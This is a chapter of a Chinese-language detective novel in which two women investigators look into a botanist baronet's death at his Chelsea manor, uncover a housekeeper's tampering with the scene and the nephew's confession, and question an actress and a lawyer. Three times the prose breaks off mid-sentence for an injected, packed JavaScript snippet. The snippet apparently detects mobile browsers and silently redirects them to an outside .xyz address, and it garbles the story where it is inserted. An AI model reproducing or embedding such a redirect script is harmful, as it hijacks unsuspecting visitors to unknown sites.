“哦…抱歉…”埃莉诺小姐歉意地摇了摇头，“我看不出来这是谁的。” “没有关系。”我安慰她说。 一旁的简看着埃莉诺小姐却陷入了沉思，在我安慰这位心绪有些不宁的小姐的时候，她无意识地摆弄着自己的帽子。 “哦…抱歉，小姐们，我只是…”埃莉诺小姐似乎是不知道怎么说，“我们回去吧…晚餐应该差不多了。” “当然，小姐。”我朝她微笑。 简在一旁点了点头。 …… 不得不说，弗洛拉·彭哈利根女士的确是一位尽职尽责的管家，将一切都准备得井井有条。 “埃莉诺小姐，客人们。”彭哈利根女士朝我们点头，“希望你们能够用餐愉快。” “感谢你，彭哈利根女士。”我们说。 晚餐相当丰富，当然，如果没有那些混乱就好了。 简在我的右边，埃莉诺小姐在我的左边，塞巴斯蒂安·霍普金斯先生坐在埃莉诺小姐对面，迈克尔·洛特先生在我的对面。 气氛很怪异，埃莉诺小姐似乎又心事，一直没有抬头过。 塞巴斯蒂安·霍普金斯先生直接抱着红酒猛灌，整个人似乎不太清醒。 “所以？你们确认阿瑟…霍普金斯先生是死于谋杀的吗？”洛特先生最先开口，他盯着自己盘子里的牛排状似随意地问。 “这还需要调查。”简直接地说。 “调什么查？该死！你们就是见不得好！”塞巴斯蒂安先生突然站起来，举着自己手里的酒瓶，胡乱地指着，“你，你，你们，还有那个该死的老…” “Sebby！”埃莉诺小姐厉声喝止着，“他喝多了！彭哈利根女士！” 噢当然，你不能指望一个酒疯子有什么理智。彭哈利根女士想带他下去醒醒酒，但是塞巴斯蒂安先生疯狂地挥动手里的瓶子。 “不要过来！不要碰我！”塞巴斯蒂安先生惊惧地说。 我毫不怀疑，如果这个时候有人没有防备地靠近他，他一定会把人砸得稀巴烂。 但是，没等我和简帮忙，彭哈利根女士就成功控制了塞巴斯蒂安先生。 她的动作相当迅速且专业，她半压在塞巴斯蒂安先生身上，将他的手反手到身后，成功夺下了塞巴斯蒂安先生的瓶子。 塞巴斯蒂安先生被两名男仆半搀半架地带离了餐厅，他的嘟囔和咒骂声在走廊里逐渐远去。餐桌上陷入难堪的寂静。 埃莉诺小姐的脸色白得吓人，她猛地站起身，餐巾从膝上滑落也浑然不觉。 “抱歉……”她低声说了一句，几乎是跑着离开了餐厅。 “埃莉诺小姐！”我不太放心她。 管家彭哈利根女士也跟了上去。 简则留在原地，我瞥见她看向面色深沉的洛特先生，似乎准备利用这个机会从他那里探听些什么。 埃莉诺小姐没有跑远，我们在一楼的小起居室里找到了她。 她背对着门口，肩膀微微颤抖，望着壁炉。 “埃莉诺小姐？”我轻声唤道。 她转过身，眼中带着未擦净的泪光和极力抑制的激动。 “对不起，我失态了。只是……只是看到他那副样子……” 她哽咽了一下，“Sebby……塞巴斯蒂安表哥，他以前不是这样的。” “你和他很亲近？”我问，注意到她再次使用了那个亲昵的称呼。 她沉默了。 “以前是，”她低声说，手指无意识地绞着衣角，“很久以前了。我甚至……曾有过一些期望。但后来…也许是战争…也许是酒…也许其他什么改变了他。” 她深吸一口气，“本小姐…我说无论结果是什么都好，可我还是无法接受，人怎么会突然变成这个样子。” 老管家彭哈利根女士无声地倒了一杯水，递给埃莉诺小姐。 “埃莉诺小姐，酒是这个世界最可恶的东，”她的话语里透着一种痛楚，“它让人变可怕，变贫穷，暴躁，疯狂……它能剥掉一个人和他亲近之人的所有的体面。” 埃莉诺小姐接过水杯，努力让自己平静下来。 待她的稍稍平稳，我和彭哈利根女士打算退出起居室。 “那个布料…”埃莉诺小姐在我们背后说。 “什么？”我回头问。 “塞巴有一件相似的，在叔叔死的那天，他穿过。”埃莉诺小姐闭了闭眼说。 “感谢您，小姐。” 当然，对于这代表着什么，我们都心知肚明。 …… 等我出来那个起居室，管家女士似乎也松了口气。她轻轻叹了口气。 “希望您没有受到惊吓，小姐？”她问我。 “你的动作非常迅速专业，”我如实说道，观察着她的反应，“就是塞巴斯蒂安先生他简直……” “他只是喝醉了，”她接口道，语气里带着不易察觉的疲惫，仿佛在重复一个熟悉的事实。 “您知道的，醉酒的人都这样，失去控制，变得不像自己……”她顿了顿，目光投向走廊远处的阴影，声音更低了些，“就像我弟弟…不…没什么。” “你有个弟弟？”我温和地问。 彭哈利根女士沉默良久才轻声答：“没有，小姐，不如没有。” 她对我微微颔首，转身离开，去处理晚餐中断后的残局。 而我站在原地，心里默念着这个意外获得的信息：彭哈利根女士，有一个酗酒的弟弟。 …… 我回到了客房。 哦，读者们，我应该说一下大概的房间格局的。为了方便大家理解。 霍普金斯府邸是很常见的对称格局。 我和简的房间的都在二楼，埃莉诺小姐和塞巴斯蒂安先生的房间则与我们相对。 一楼则是霍普金斯先生的书房与房间，洛特先生与之相对。 仆人们居住在隐蔽的侧厅还有地下室。 管家彭哈利根女士的房间则是在主楼梯附近，方便应对所有的情况。 但我到房间的时候，简已经在里面等着我了。她正站在窗前，望着外面沉沉的夜色，听到我进门才转过身。 “埃莉诺小姐情绪稳定些了？”她问。 我点点头，将埃莉诺小姐关于布料属于塞巴斯蒂安，以及彭哈利根女士似乎有一个酗酒弟弟的事情告诉了她。 简安静地听着，手指轻轻敲着窗棂。 “洛特，迈克尔·洛特，倒是透露了些别的。”她说，“霍普 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16378186|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金斯先生去世当天，召集了所有人，旨在宣布遗嘱最终内容。在场的有埃莉诺、塞巴斯蒂安、克拉拉·贝尔女士、劳伦斯·特里梅因律师，以及他本人和彭哈利根女士。” “所有人都在……”我沉吟道。 “我询问了他对其他人的看法。” 简继续说，“善良的小姐，醺酒的先生，也许尽职的律师。至于贝尔女士……” 简顿了顿，“弗瑞，他在厌恶，甚至可能是嫉妒。虽然极力掩饰，但我感受到了那种情绪。” “嫉妒？”我感到疑惑，“为什么？他明明获得了绝大部分的遗产……” “这正是我们要查明的了，弗瑞。” 简走向书桌，拿起一支笔随意在指尖转动，“表面最大的获益者，内心却可能藏着截然不同的情绪。很有意思。” “好吧，”我叹了口气，梳理着目前的线索，“目前看来，塞巴斯蒂安嫌疑最大，不是吗，简？他有动机，情绪失控，而且埃莉诺指认了那块关键布料属于他。” “也许是。”简并未肯定也未否定，她放下笔，看向我，“但我们需要更多。弗瑞，不要过早下结论。” …… 夜色渐深，宅邸仿佛也陷入了不安的睡眠，但我们都知道，在寂静之下，暗流正在涌动。 长夜漫漫，人们总会做些什么。 后半夜，我没有睡着，悄声下楼。 宅邸静得出奇。就在我快要走到主楼梯时，远处侧门方向传来极轻的响动。 我立刻隐入走廊的阴影里。 只见管家彭哈利根女士的身影出现在走廊尽头。她穿着深色的外出斗篷，脚步又轻又快，手里小心翼翼地抱着一堆用深色布包裹着的东西。 她警惕地四下看了看，并未发现我，随即迅速而无声地打开通往宅邸侧后方的小门，闪身出去，融入了夜色之中。 她要去哪里？那布包里又是什么？ 我屏住呼吸，直到再也听不见任何声音，才从阴影中走出来。 黑夜隐藏着秘密。 而简的预感是对的，这座宅邸里的每一个人，似乎都怀揣着不愿人知的故事。 我望了一眼窗外，迅速地返回了楼上，想要去找简。 但我在房间里等了简好一会儿，她才回来。 推开门时，她的脸色在昏暗的灯光下显得有些奇怪，似乎是不太理解。 “你去了很久，”我说，“我也有发现。你绝对猜不到我刚刚看到了谁……” “我也遇到了些情况，”简打断我，声音压得很低，“我原本打算去书房看看，但在走廊里，我撞见了洛特先生。” “迈克尔·洛特？他当时在干什么？” “他穿着睡衣，像是睡不着随意走走。”简回忆着当时的场景，眉头微蹙，“但他看起来……很难过。弗瑞，不是虚假的，你能感觉到，那就是很深切的悲伤。他在霍普金斯先生的卧室门口徘徊，然后进去了。当然，我不可能跟进去。” 哦，上帝啊。 深夜，获得巨大遗产的私人助理，在逝去的雇主的房间前面徘徊？这说出去，恐怕会变成什么糟糕的桃色新闻。 我目睹管家深夜偷偷携带物品外出，她则看到最大遗产受益人深夜独自潜入死者房间流露悲伤。 而这，只是我们到达的第一天。 至少，我们清楚，霍普金斯先生的死亡，绝不是普通的意外。 …… 85.11.3 第二天清晨，早餐的气氛依旧糟糕。 埃莉诺小姐没有出现，据女仆说她在房间用餐。 塞巴斯蒂安先生想必仍在宿醉中。 洛特先生看起来一如既往的冷静克制，仿佛昨夜那个悲伤的身影只是简的错觉。 彭哈利根女士依旧如常指挥着仆役，干净利落。 “洛特先生，依照遗嘱，你应该会获得绝大部分的遗产，包括这座府邸。为什么你仍然许可埃莉诺小姐还有塞巴斯蒂安先生居住其中呢？”简用叉子叉这自己的面包问。 这个问题问得很尖锐，甚至无礼。但是，我知道简这样问，一定有这自己的理由。 洛特先生放下了手中的刀叉，“因为目前遗产仍然在清算中，当然，等一切结束，他们仍然是这里的主人，因为他们姓霍普金斯。” “抱歉，小姐们，我先失陪。”洛特先生站起身说，“彭哈利根女士，辛苦你了。” “好的，洛特先生。”老管家应道。 她看起来是那么的尽职尽责，但我仍然无法忘记她昨晚小心翼翼地样子。 简似乎在思考着什么，她的表情很怪异，似乎是碰见了什么无法理解的事情。 而我，保持着用餐时不说话的礼仪。 …… 餐后，我和简决定再去温室看看。 这次是关于霍普金斯先生的死亡现场的细致调查。 彭哈利根女士得知我们的意图后，表示陪我们我们前去，并做些介绍。毕竟她是第一发现人。 温室里弥漫着生机勃勃。 放眼望去，秋海棠在此展现着惊人的多样。色彩更是几乎穷尽了想象所能及的所有色调。 然而，在这片绚烂中，那个独特的、以爵士亡妻命名的新品种能够轻而易举地夺走所有的目光。 那花朵呈现出一种奇妙的、渐变的色调。 它静立在那里，美得近乎疏离。 以亡妻之名命名的它，不像周围其他花卉那样喧闹地绽放着生命力，它更像一个被精心保存的、凝固的思念，优雅，独特。 “爵士最爱待在这里，”彭哈利根女士的声音在空旷的温室里显得格外清晰，“他常说这些植物比人更懂得沉默和生长。” 管家女士的语气里带着的崇敬，“他为之倾注了大量心血。爵士爱花，也深爱他早逝的妻子，所以用妻子的名字‘维拉’为它命名。” “是吗？”简的语气听不出太多情绪，她的目光并未停留在花上，而是仔细审视着花盆周围的地面以及旁边的工具架。 “那么，那位戏剧演员贝尔小姐呢？据我们所知，她也获得了相当一部分遗产，这似乎……与爵士对妻子的深情并不…？”简说。 彭哈利根女士的脸颊瞬间绷紧，被冒犯的怒色掠过她严谨的面容。 “哦！小姐，”她的声音提高了些许，但立刻意识到失态，强压了下去，“请您慎言！这是诽谤！主人这样做，不过是出于他过分的善心！他总是轻易相信别人……他不过是被人蒙骗了！他是那么好的一个人，那么正直，甚至对我私自……”她的话戛然而止。 “私自什么？”简立刻追问。 “没什么，小姐！”彭哈利根女士迅速转过身，假装去整理旁边一盆植物的叶子，避开了我们的目光。 “一点无足挂齿的旧事。我们还是说说我发现主人离开时的样子吧。”她试图将话题拉回正轨。 我内心瞬间有了一些想法。 她对酗酒者深切的痛恨，她深夜偷偷携带物品外出的行为，以及这句未说完的话…… 彭哈利根女士很可能有过偷窃家族财物以接济她那个酗酒弟弟的行为，而这件事，或许曾被霍普金斯爵士察觉。 爵士的“善心”和“正直”可能体现在他并未公开揭发或辞退她，而是选择了私下警告或宽容。 这份宽容，此刻在管家心中，是加重了她的负罪感，还是成为了另一种动机？ 当然，简肯定有了和我一样的想法。我们对视着。 彭哈利根女士生硬地转回话题，声音比刚才紧张，“那是晚上，我为圣诞节做准备，想请示爵士用哪颗常青树，我们都是从院子里选的。我知道他一向都在温室……” “你是从哪个门进来的？”简突然打断她。 “呃……当然是主走廊那边的入口，”管家回答得很快，但眼神闪烁了一下，“怎么了？” “请继续。”简示意道。 “我一进来，就发现爵士躺在地上……”彭哈利根女士比划着，试图重现当时的场景。 “躺？”简立刻捕捉到了这个词，“所以他是仰面朝上的？” “是……是的。”彭哈利根女士顿了一下，似乎意识到什么，但又无法立刻收回。 “但是，”我接口道，顺着简的思路，“警方报告和现场照片显示，爵士是额头遭受重击。那个固定在地上的陶瓷花盆边缘有血迹和少量组织。如果他是仰面倒下，很难造成那样的创伤。他更应该是向前倾倒，头朝下趴着才对。” 彭哈利根女士的脸色微微发白。 “额……是，是我记错了，当时太慌乱……是头朝下趴着的。” “是吗？”简轻轻挑眉，不再纠缠这一点，“请继续，你之后做了什么？” 管家女士的叙述开始变得有些混乱，细节前后矛盾。 她说自己立刻跑去叫人，但又提到先试图查看爵士的状况。她说现场很整齐，却又模糊地提到碰倒了一个小水壶。 她的手指紧紧攥着衣服边缘，额角渗出了细密的汗珠。 简只是安静地听着，偶尔提出一个简短的问题，但每一个问题都十分的见人。 终于，在又一次前后不一的描述后，简温和却不容置疑地开口。 “彭哈利根女士，你在第一时刻发现悲剧，情绪激动导致记忆有些模糊，这完全可以理解。但你现在的叙述，与现场证据有多处不符。考虑到那可能……嗯，比如，出于某些苦衷，比如需要接济家人而可能动过宅邸里的一些小东西，并且担心被爵士发现……如果再加上对警方和调查人员刻意隐瞒或歪曲重要事实……” 老管家的呼吸急促起来。 我知道她在紧张。 我适时地放缓语气，带着些安慰，“彭哈利根女士，我们理解您对爵士和这个家的感情。但隐瞒和误导只会让事情更糟，甚至可能让你自己陷入不必要的麻烦。” “不……你们不能……”她的声音带着颤抖，看向我们的眼神充满了恐慌和挣扎。 “我们当然可以提出合理的怀疑，” 简的语气依旧平静，却带着巨大的压力，“尤其是当这些怀疑涉及到命案现场是否被破坏或篡改时。” 长时间的沉默。 终于，彭哈利根女士的肩膀垮了下去，她闭上眼睛，声音嘶哑：“……是的。我……我动过现场。” 我和简交换了一个眼神，安静地等待她说下去。 “我进去时，爵士他……确实是朝上的。但我……我把他翻了过去。” 她艰难地承认，“我还……移动了旁边一块带着血迹的装饰石头，把它扔进了那边的肥料堆里。” “为什么？”我问。 “是塞巴斯蒂安先生！”她猛地抬头，情绪有些激动。 “您看见他了？”简立刻追问。 “没有！但是……还能有谁呢？”她的声音带着哭腔，“凶器就在旁边！那块石头！塞巴斯蒂安先生他整天闹事，需要钱，和爵士争吵……所有人都知道！就算……就算是为了爵士，为了霍普金斯家的名誉，我不能让外人知道是家族内部的人……是血亲可能做出了这种事！我不能！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16380816|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我不能！那是血亲！就算是这种事情，那也要瞒下来！这只是家族之间的…” 现在像来，弗洛拉·彭哈利根女士的思想守旧而古板，也许正是这样，她才会对醺酒的弟弟一而再再而三的容忍，甚至不得不为了他违背良心去利用职务盗窃。 我不认可她的观念与行为。试想一下，如果我的弟弟纳迪尔什么事情都要靠我，甚至要求我违背自己，不，完全不可能。 人得先忠于自己。即使在家人面前。 …… 彭哈利根女士被这沉重的秘密和扭曲的想法压垮，带领我们找到了那块被她丢弃的石头。 它在秋海棠之下，半埋在肥料堆里，粗糙的表面还残留着深褐色的不祥斑迹。 带着这件可能的凶器，我们去找塞巴斯蒂安·霍普金斯先生。 他刚醒酒，面色灰败地坐在凌乱的房间里。当简将那块石头放在他面前的桌上时，他像被烫到一样猛地缩起来。 “不是我……我不知道……”他语无伦次，但眼神涣散，充满了恐惧。 “塞巴斯蒂安先生，”简说，“彭哈利根女士为了保护霍普金斯家的名誉，移动了现场和这块石头。她认为是你做的。我们现在需要听你说。” 在巨大的压力和残留的酒精作用下，塞巴斯蒂安的防线迅速崩溃了。 “是我……是我砸的……”他声音嘶哑，“但我没想杀他！上帝作证，我没有！” 他断断续续地叙述，那晚他去找爵士要钱，再次遭到严厉拒绝。两人发生了激烈的争吵。推搡间，他跌倒，后脑撞到了花盆上。极度愤怒下，他抓起手边的一块石头（正是我们找到的这块），朝爵士的头部砸下，之后他仓皇逃窜。 “我太害怕了……”他重复着，浑身发抖。 他的供词似乎吻合了所有情况。 警察很快赶来，带走了塞巴斯蒂安和因破坏现场、作伪证而被牵连的彭哈利根女士。等待他们的将是审判。 宅邸里弥漫着压抑的寂静。 埃莉诺小姐将自己关在房间里，一整天没有露面。 傍晚时分，我们在温室外的落地窗那遇到了迈克尔·洛特。 他正望着那盆名为“维拉”的秋海棠出神。 “原谅她没法招待你们吧，”洛特先生没有回头，“埃莉诺小姐需要时间。这就是爱情的无理之处，即使她知道塞巴是杀人凶手，即使塞巴酺酒、堕落，即使她可能隐约知道那个人最初靠近她或许是为了她可能继承的财产……但她仍然真切地爱过。” “那你呢？洛特先生？”简突然问道，目光锐利地看向他，“你怎么看待爱情？” 洛特先生转过身，脸上露出苦涩而复杂的笑意。 “我？我认为爱情是毒药，小姐，和酗酒一样，会让人失去理智，看不清现实，最终毁掉自己。”他的语气里带着深切的痛苦。 “也许是。”简淡淡回应。 事情仿佛告一段落了，我和简告别了霍普金斯府邸。 但我们心知肚明。 塞巴斯蒂安并非真正的、唯一的凶手。 石头上发现了两处独立的血迹形态，那是两次间隔开的、力度角度不同的击打。 塞巴斯蒂安恐慌下的那一击，很可能并不是真正的死因。 有人在他之后补了那真正致命的一下。 是府邸里的其他人，还是我们没有见过的克拉拉·贝尔小姐和劳伦斯·特里梅因律师？ 一切都有可能。 霍普金斯家族支付了相当可观的酬金，感谢我们“查明”了真相。 但我们没有离开切尔西区。我们在附近找了一家安静舒适的旅馆住下。 真相只揭开了一半，阴影仍在徘徊。 简需要整理线索，而我们需要继续打探消息。我们知道，调查远未结束。 86.11.4 我们下榻的旅馆名叫“常青藤与夜莺”，是切尔西区众多精致小旅馆中的一家。 老板娘布兰奇太太是个乐观健谈的中年妇人，小个子，脸颊红润，按她自己的说法，她喜欢交流一些活跃生活的小话题。 她显然对我们这两位临时住客充满好奇，尤其是当得知我们与最近的霍普金斯案有关后。 第二天早餐时，她端着果酱过来，自然而然地搭话。 “霍普金斯府上的事，可真叫人叹息，”她一边摆弄着餐具一边说，眼睛瞟着我们，“阿瑟爵士，多好的一位先生，又有学问，又体面，怎么就走得这么突然。” 简放下茶杯，语气平常地接话，“您似乎很了解爵士？” “哦，切尔西说小不小，说大也不大，”布兰奇太太立刻来了精神，拉过一把椅子坐下，“尤其是霍普金斯家那样的人家，总是惹人议论的。爵士是位情深义重的人，谁都知道他多么怀念他那位早逝的夫人，维拉，多美的名字，跟他那盆宝贝花儿一样。可男人嘛，尤其是那样一位有钱有地位的鳏夫……” 她压低了声音，身体前倾，“维拉夫人去世刚过一年，风声就起来了。关于他和那位克拉拉·贝尔小姐的。” “他们走得很近？”我问。 “何止是近，亲爱的，”布兰奇太太意味深长地眨眨眼，“剧院散场后常常能看到他的马车候着。贝尔小姐那时可是颗明星，虽说不算顶红，但那风情……啧啧。一个失去妻子的黄金单身汉，总是没法抵抗温柔美人的吸引力。他们不清不楚有些年头了。大家都以为他会娶她，结果呢？到头来只留下一座小房子和一点点钱。想想可真叫人心寒，她最好的年华都给了他。” “那迈克尔·洛特先生呢？”简忽然问，“他似乎一直深得爵士信任。” 布兰奇太太的表情变得有些微妙，似乎是有些惋惜。 “洛特先生？哦，那可真是个英俊体面的年轻人，做事一丝不苟，现在又继承了那么大笔财产……说真的，要不是……我都想把我家女儿介绍给他了。” “要不是什么？”我不解地问。 布兰奇太太凑得更近，声音几乎成了气音，“哎呀，就是……那方面嘛。大家都那么传。” “哪方面？”我一时没反应过来。 她嗔怪地拍了我手臂一下，眼神暧昧，“还能是哪方面？男男女女那点事呗！他从没见对哪位小姐表示过兴趣，干干净净的，一点风流韵事都没有。这正常吗？一个那样年纪的体面绅士？所以都说……他怕是有点什么难言之隐。” 我被她直白的话呛得轻咳几声，脸颊有些发烫。 简倒是面色如常，只是追问：“或许他只是心有所属，不便表达？” “不可能，”布兰奇太太斩钉截铁地摇头，“没见他身边有什么特别的姑娘。要我说，他心里啊，恐怕就只有爵士和他那些花花草草了。”她说着，又自顾自地点点头，仿佛确认了什么隐秘的真相。 “劳伦斯·特里梅因律师呢？我到现在都没听过什么人提过他。”我问。 “哦，他呀。他很老实，要我说，他甚至有些窝囊。没什么大本事，长得又平庸，四十好几的人了，前段时间才有年轻漂亮姑娘能够嫁给他，还不是他给出的钱多…那可是一大笔钱钱啊，现在特里梅因明天打扮得漂漂亮亮的” “是吗？”简笑着应和着，“出钱的话，他之前怎么不这样呢？” “哎呀，他之前就是一个一穷二白的男人，还不是当了霍普金斯先生的家庭律师，这几年才让他富了起来…霍普金斯果然是大家族啊…我女儿要是能……”布兰奇太太絮絮叨叨地说。 我们谢过她提供的果酱和……信息。简若有所思地用指尖轻点着桌面。 当天下午，我们按照地址找到了克拉拉·贝尔小姐的住所。 那并不是霍普金斯爵士遗嘱中留给她的乡间小屋，而是位于切尔西边缘的一处略显偏僻的公寓。 一位年纪颇大的女仆为我们开了门，据说她是贝尔小姐的奶娘，如今仍跟着她。 克拉拉·贝尔小姐本人出现在小客厅时，依然能让人窥见她昔日的风采。 岁月在她脸上留下了痕迹，眼角有了细纹，肤色也不复年轻时的光洁，但她身段依旧窈窕，甚至是消瘦，她穿着简单却得体的深色长裙，头发松松散散，有着几分倦怠的风韵。 她的美丽并未完全褪色，只是像一幅放置过久的油画，蒙上了时间的灰尘。 她得知我们的来意后，神情淡漠，似乎早已预料，又似乎毫不在意。 “我知道你们会来，”她的声音依旧悦耳，“坐吧。玛丽，请给客人倒茶。” “您知道？”我有些疑惑。 “当然。小姐。”她看着我笑了笑，那是不带任何恶意的调侃，“切西尔，或者说这一片，是一个封闭的地方。有点消息，就会疯了似的传。布兰奇太太老早就嚷嚷着她的旅馆入住了伦敦来的侦探。” 她示意我们坐在对面的椅子上，自己则缓缓走向那张看起来有些年头的天鹅绒沙发。 她的动作带着优雅，在坐下的时候，我注意到她的左手无意识地在自己腹部轻轻按了一下，然后才让身体沉入柔软的靠垫中，仿佛那是一个习惯了保护某个脆弱区域的小动作。 她点燃一支细长的香烟，透过袅袅青烟看着我们。 “想知道那天我在哪里，做了什么？和警察问的一样。我可以再告诉你们一次，那天一整天，除了上午他叫了所有人见他。我都在这里。玛丽可以作证。我们整理了旧物，试做了新的糕点，晚上一起听了无线电广播。我没有踏出这间公寓一步。” “您和霍普金斯爵士……”简开口。 “是的，我们有过一段情，”克拉拉直接打断了简，语气里没有羞涩也没有激动，只有坦然，“很多年。人们都说我指望他娶我，或许曾经是吧，但是，我一直都知道，维拉永远活在他的温室里，活在那株以她命名的花里。没有人能真正取代一个死去的爱人，即使她活着时也未见多好的。” 她轻轻笑了一下，带着淡淡的嘲讽：“他给我提供衣食无忧的生活，给我暂时的庇护，而我提供陪伴和……安慰。很公平的交易，不是吗？最后那座小屋和那点年金，大概是他觉得这笔交易该付的清尾款，或者说…赔偿。” 她说的漫不经心，又似乎无所谓。但当她要将烟灰弹向茶几上的琉璃烟灰缸时，她的目光掠过自己平坦的小腹，眼神里有着难以捕捉的痛楚。 “我没什么可抱怨的，也早已不再期待什么了。” 她捻灭香烟，目光投向窗外，显然不愿再多谈。 我们告辞时，她只是微微颔首，让老玛丽送客。 就在老玛丽准备关上门时，简忽然停下脚步，转身轻声问道：“玛丽女士，请原谅我的冒昧。贝尔小姐……她的身体似乎不太好？我注意到她似乎……特别疲惫，而且对某些动作显得有些……谨慎。” 简的问法非常含蓄，但几乎是立刻激起了这位奶娘的怒火。 那只布满皱纹、紧握着门把的手猛地收紧。老玛丽浑浊的眼睛猛地看向简，又迅速瞟了一眼屋内。 她的嘴唇颤抖着，声音压得极低，却带着愤懑。 “谨慎？”老玛丽的声音哽咽了一下，“她怎么能不谨慎！她的身体早就在多年前被毁掉了！” 她的眼泪瞬间涌出。 “她失去过一个孩子……一个也许会和她一样漂亮乖巧的孩子，…她那么渴望那个孩子……” 她几乎说不下去，深吸了一口气，才能继续控诉，“都是那个该死的爵士！他怕极了这事毁了他深情的好名声！他强迫她……他打了她…我收拾的……那么多血……她差点就死了心也跟着死了……你们现在明白了吗？！” 老玛丽的声音破碎不堪，充满了无尽的痛惜与愤怒。她猛地用手背擦掉眼泪。 “现在，请你们离开吧。别再撕开她的旧伤了。求你们了。” 不等我们回应，她坚决地关上了门。 走在回去的路上，冬日的冷风扑面。 “贝尔小姐有动机，”我呼出一口白气，对简说，“但她的身体……经历过那种创伤。还有，她说她不愿意进入温室，不想看见那些花，我觉得是可信的…” “嗯，”简表示同意，目光扫过街道旁光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16385942|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秃的树枝，“她的恨意更可能绵长而绝望，而非瞬间爆发的烈火。但仇恨有时能给人意想不到的力量，我们不能完全排除。只是目前，她的直接嫌疑确实不如其他人那么明显。” 我们沉默地走回“常青藤与夜莺”旅馆。 房间内暖意融融，与外面的寒冷形成对比。简刚脱下大衣，布兰奇太太就过来敲门。 “里斯克小姐，有你的电话！” “是的，我是简·里斯克……非常感谢您回电，史密斯先生……嗯，我明白了…近三年？每年都有？…金额是递增的？……接收账户名称能再确认一遍吗？……” “……好的，非常感谢，这证实了我的一些猜测，非常有帮助。” 她挂了电话，转过身，脸上是一种“果然如此”的神情。 “是银行的史密斯先生，”她对我解释道，“我委托他查了霍普金斯爵士主要账户近年的大额资金往来。有一笔款项很值得玩味。” 她走到桌前，拿起笔在本子上随意划着，像是在整理思绪。 “从三年前开始，几乎每年同一时间，都有一笔数额可观的资金，以‘植物研究赞助’的名义，汇入一个名为‘皇家园艺学会促进基金’的账户。操作经手人签名是劳伦斯·特里梅因律师。最近的一笔，数额最大，就发生在爵士去世前约两周。” “爵士是植物学家，捐款给园艺学会，听起来很正常。”我说。 “表面上看，是的。”简放下笔，“但很有意思，不是吗？最终遗嘱宣布前，这样一大笔支出。而且，布兰奇太太怎么说特里梅因先生的？” 我立刻想起来了，“‘他之前就是一个一穷二白的男人，当了霍普金斯先生的家庭律师后才富了起来’。” “没错。”简的手在本子上点了点，“一个受托管理雇主财务的律师，经手这样定期流出的、名目笼统的大额款项，而他自己近年的经济状况又显著改善。这不得不让人产生联想，这笔钱是否真的全部去了该去的地方？或者，这其中是否存在着某种交易？” 她顿了顿，继续道：“爵士召集所有人，很可能不仅要宣布遗嘱，也要彻底厘清这类财务问题。当然，和彭哈利根女士一样，也许霍普金斯先生会给予特里梅因先生一点时间。但是对他而言，这无疑是极大的威胁。” 我顺着她的思路往下想：“所以，他的动机可能不仅仅是遗嘱里写明的那一份，更可能是为了掩盖持续多年的……财务上的不当行为？如果被发现，他失去的将不仅是遗产，还有职业和名誉。” “正是这样。”简表示赞同，“而所有这些，都指向爵士最核心的部分，他的植物学研究。弗瑞，你还记得那株以维拉命名的秋海棠吗？” “当然，”我点头，“它美得惊人。” “那种秋海棠的诞生，离不开详尽的杂交记录和培育手稿，这些现在都归洛特先生继承，是其财产的重要部分。” 简缓缓说道，“但如果，这些珍贵记录的来源存在瑕疵呢？或者，这个品种的专利权本身，是通过特里梅因操作的某些不为人知的‘赞助’或交易才得以明晰归属的呢？” 我明白了：“那笔所谓的‘赞助’，也许是封口费，或者是购买关键证据的钱？特里梅因律师可能在其中动了手脚，爵士或许有所察觉……” “又或者，他单纯地利用这个名目中饱私囊，而爵士的清查会揭穿一切。”简说。 “他有可能是凶手，但是，简，你知道的，凶手的行为是临时起意的，谁都有可能砸第二下。”想到这个，我有些泄气。 “是的，弗瑞，所以最重要的是动机与得利。谁，会因此受利。你要知道，凶手要么动机是最紧迫的，要么就是得利者，无论是表面还是暗地里。”她看着我认真地说，似乎是希望我记住，“而特里梅因律师，两者都符合。” “无论具体原因为何，那株秋海棠及其相关文件，都很可能成为解开特里梅因行为的关键证据。” “我们需要再去一次霍普金斯府邸，这次，必须仔细查看所有与秋海棠相关的培育记录和财务文件。还有，我们需要尽快与这位劳伦斯·特里梅因律师谈一谈。”简最后说道。 87.11.5 我们再次造访霍普金斯府邸时，迈克尔·洛特先生接待了我们。他看起来比上次更加疲惫，但依旧维持着得体的礼貌。 “请随意查看，”他引我们进入爵士的书房，“爵士的记录都在这里。如果需要财务文件，特里梅因律师那边应该也有存档，我可以请他送来。” 简道了谢，我们便开始工作。 研究手册极其详尽，记录了那株秋海棠从杂交选育到稳定的全过程，笔迹是爵士的，偶尔有洛特的补充注释。 他们，我是说霍普金斯爵士和迈克尔·洛特先生确实痴迷于植物。大量的手写笔记，但是并没有详细的关于资金的记录。 